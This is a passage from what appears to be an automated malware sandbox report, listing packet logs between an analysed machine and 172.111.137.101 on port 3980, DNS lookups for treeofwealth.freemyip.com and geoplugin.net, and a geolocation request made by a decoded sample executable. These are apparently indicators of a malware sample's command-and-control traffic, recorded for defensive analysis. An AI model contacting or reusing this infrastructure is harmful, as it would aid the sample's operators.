                                                                                          Jan 15, 2025 09:09:27.143915892 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.178325891 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178498030 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178510904 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178524017 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178536892 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178548098 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178559065 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178572893 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178585052 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178596973 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178596020 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.178596020 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.178610086 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178622007 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178636074 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.178643942 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.178664923 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.178664923 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.212508917 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.212522030 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.212536097 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.212548018 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.212559938 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.212621927 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.212666035 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.212979078 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213056087 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213093996 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213129997 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213135004 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213174105 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213190079 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213208914 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213219881 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213226080 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213227987 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213258028 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213274956 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213291883 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213310003 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213313103 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213337898 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213354111 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213356972 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213368893 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213377953 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213385105 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213404894 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213418961 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213421106 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213437080 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213452101 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213454008 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213473082 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213473082 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213502884 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213524103 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213531017 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213547945 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213547945 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213561058 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213577986 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213587046 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213591099 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213603020 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213615894 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213630915 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213649035 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213649035 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213654041 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213666916 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213674068 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213680029 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213692904 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213706017 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213718891 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213731050 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213735104 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213747025 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213758945 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213761091 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213777065 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213784933 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213798046 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213814020 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213825941 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213828087 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213828087 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213838100 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213855982 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213860035 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213872910 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213885069 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213886023 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213897943 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213911057 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213923931 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213936090 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213937044 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213948011 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213962078 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213975906 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.213980913 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213980913 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.213989973 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214006901 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214013100 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214019060 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214032888 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214035988 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214046001 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214052916 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214059114 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214077950 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214090109 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214097023 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214114904 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214121103 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214129925 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214143991 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214158058 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214168072 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214168072 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214170933 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214189053 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214199066 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214210033 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214224100 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214235067 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214248896 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214261055 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214267969 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214267969 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214276075 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214301109 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214308023 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214313984 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214328051 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214375973 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214375973 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214382887 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214396000 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214407921 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214426994 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214617968 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214641094 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214659929 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214673996 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214688063 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214700937 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214713097 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214725971 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214729071 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214749098 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214764118 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214776039 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214777946 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214777946 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214790106 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.214812994 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.214812994 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.232351065 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232363939 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232376099 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232383966 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232409000 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.232462883 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.232487917 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232507944 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232522011 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232526064 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.232534885 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232549906 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232554913 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.232563019 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232577085 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232589006 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232598066 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.232603073 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232615948 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232629061 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232649088 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.232660055 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.232660055 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.232722044 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.266695976 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.266741991 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.266753912 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.266761065 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.266767979 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.266789913 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.266803980 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.266815901 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.266833067 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.266839981 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.266839981 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.266891956 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301157951 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301177025 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301201105 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301213980 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301223993 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301237106 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301245928 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301249027 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301263094 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301276922 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301290035 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301302910 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301332951 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301332951 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301348925 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301362038 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301363945 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301374912 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301388025 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301408052 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301419020 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301419020 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301422119 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301434040 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301448107 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301469088 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301481009 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301491976 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301491976 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301495075 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301507950 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301522017 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.301538944 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301538944 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.301614046 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.652781010 CET8049709178.237.33.50192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.652856112 CET4970980192.168.2.11178.237.33.50
                                                                                          Jan 15, 2025 09:09:27.707552910 CET497073980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.712398052 CET398049707172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:28.653036118 CET8049709178.237.33.50192.168.2.11
                                                                                          Jan 15, 2025 09:09:28.653111935 CET4970980192.168.2.11178.237.33.50
                                                                                          Jan 15, 2025 09:09:29.728404999 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:29.733381987 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733397961 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733407974 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733417034 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733439922 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733447075 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:29.733448982 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733478069 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733488083 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733501911 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:29.733566046 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.733576059 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.738276005 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.738306046 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.738317013 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.738337040 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.738348007 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.738369942 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.738395929 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.800312996 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:29.805320978 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:29.805447102 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:30.562717915 CET398049707172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:30.564165115 CET497073980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:30.568974018 CET398049707172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:34.361573935 CET398049707172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:34.406230927 CET497073980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:37.109052896 CET497073980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:37.110039949 CET4970980192.168.2.11178.237.33.50

                                                                                          UDP Packets

                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                          Jan 15, 2025 09:09:24.805629015 CET5638053192.168.2.111.1.1.1
                                                                                          Jan 15, 2025 09:09:24.966552973 CET53563801.1.1.1192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.024949074 CET4959753192.168.2.111.1.1.1
                                                                                          Jan 15, 2025 09:09:27.032418966 CET53495971.1.1.1192.168.2.11

                                                                                          DNS Queries

                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                          Jan 15, 2025 09:09:24.805629015 CET192.168.2.111.1.1.10x44e3Standard query (0)treeofwealth.freemyip.comA (IP address)IN (0x0001)false
                                                                                          Jan 15, 2025 09:09:27.024949074 CET192.168.2.111.1.1.10xe27dStandard query (0)geoplugin.netA (IP address)IN (0x0001)false

                                                                                          DNS Answers

                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                          Jan 15, 2025 09:09:24.966552973 CET1.1.1.1192.168.2.110x44e3No error (0)treeofwealth.freemyip.com172.111.137.101A (IP address)IN (0x0001)false
                                                                                          Jan 15, 2025 09:09:27.032418966 CET1.1.1.1192.168.2.110xe27dNo error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                                                                                          HTTP Request Dependency Graph

                                                                                          • geoplugin.net

                                                                                          HTTP Packets

                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          0192.168.2.1149709178.237.33.50807404C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Jan 15, 2025 09:09:27.042226076 CET71OUTGET /json.gp HTTP/1.1
                                                                                          Host: geoplugin.net
                                                                                          Cache-Control: no-cache
                                                                                          Jan 15, 2025 09:09:27.652781010 CET1171INHTTP/1.1 200 OK
                                                                                          date: Wed, 15 Jan 2025 08:09:27 GMT
                                                                                          server: Apache
                                                                                          content-length: 963
                                                                                          content-type: application/json; charset=utf-8
                                                                                          cache-control: public, max-age=300
                                                                                          access-control-allow-origin: *
                                                                                          Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED]
                                                                                          Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7126", "geoplugin_longitude":"-74.0066", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                                                                          Statistics

                                                                                          CPU Usage

                                                                                          Click to jump to process

                                                                                          Memory Usage

                                                                                          Click to jump to process

                                                                                          High Level Behavior Distribution

                                                                                          Click to dive into process behavior distribution

                                                                                          Behavior

                                                                                          Click to jump to process

                                                                                          System Behavior

                                                                                          General

                                                                                          Target ID:0
                                                                                          Start time:03:09:24
                                                                                          Start date:15/01/2025
